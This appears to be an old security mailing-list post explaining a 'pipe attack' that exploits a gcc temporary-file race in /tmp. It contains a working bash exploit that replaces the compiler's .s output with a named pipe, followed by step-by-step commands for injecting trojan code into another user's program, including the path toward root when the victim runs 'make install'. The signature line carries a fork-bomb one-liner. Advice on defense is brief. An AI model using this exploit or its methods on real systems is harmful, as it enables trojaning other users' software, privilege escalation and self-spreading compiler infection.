"Symlink" background:
Typical "[symbolic|hard] link bug" is a vunerability, which allows
user X to overwrite files owned by Y (with useless portion of junk)
when Y launchs buggy program. But this trivial (and often ignored)
attack method can be easily turned into a cute, powerful weapon. Here's
an example how to perform advanced exploitation ("pipe attack") of gcc
symlink bug (I choosen that tool, because this problem is probably
well-known and it's pretty easy to fix). Original exploit code has been
posted here about 1 month ago...
"Pipe" impact:
First of all, we need to fix our exploit by replacing symlink with
named pipe. What for? Be patient:
#!/bin/bash
# Advanced GCC exploit
echo "Advanced GCC exploit running."
renice +20 $PPID >&/dev/null
cd /tmp
while :; do
V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
if [ ! "$V" = "" ]; then
mkfifo ${V}.s
chmod 666 ${V}.s
bash
fi
done
As you can see, new exploit is even smaller and quite useless :)
So why shouldn't we launch it...
$ ./adc-gcc
Advanced GCC exploit running.
[...]
Ok, it's running somewhere in a background... Now, other user (Y)
launchs gcc to compile something. His gcc hangs trying to write
compiled junk into a pipe created by exploit, and our exploit drops
us into a shell:
[...]
Advanced GCC exploit running.
$ ls
cca02091.i cca02091.s [...other stuff...]
Now, we may modify preprocessed cca02091.i file. I added line
'printf("Hello, dude.\n");' using vim at the begining of main
function, and finally saved modified code as "myjunk.i".
Our user probably grows impatient, so it's time to serve our
dish of the day... First, we should flush pipe:
$ cat cca02091.s >junk2.s
That's perfect, gcc wrote everything successfully, and now it's
trying to read it back from pipe. So why shouldn't we give him a
chance? I precompiled myjunk.i using cc1 (it's location may vary,
but it MUST be somewhere; you may locate it by executing
"ps auxhw|grep cc1" meantime).
Oh, I forgot. If you're unable to read cc*.i file, bacause user's
umask is set to eg. 077 - don't worry! You may modify asm code
directly. Just edit "junk2.s". After that, you don't have to use cc1.
Let's see, what we have here? A gcc compiler happily waiting for
compiled portion of asm stuff at the second end of pipe... And
compiled code, but modified a little... So there's only one solution:
$ cat myjunk.s >cca02091.s
(or "cat junk2.s >cca02091.s" if you changed asm code directly)
Kaboom! Gcc finished it work (hopefully everything went OK).
Now user have it's program, but with OUR trojan code! What
he does now? Launchs it, or...
$ make
$ su -
Password:
# make install
Whoops!
This exploit method may be enclosed in a simple, quick and automated
script, but this time I won't write it. I explained this attack even
too clearly - remember, it may be used to write real, alive, extremally
quickly spreading VIRUS, which infects every file which is beign
compiled.
Solutions:
How to protect yourself? In this case, it's quite simple, this
problem has been already discussed on BUGTRAQ. But that's just
an well-known example of 'not-so-interesting symlink bug'. Almost
any symlink-vunerable program, which stores any data (even PIDs)
in their temporary files, may be exploited in that way (eg. not
so easy to fix gzexe problem).
_______________________________________________________________________
Micha³ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie - bosk± [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=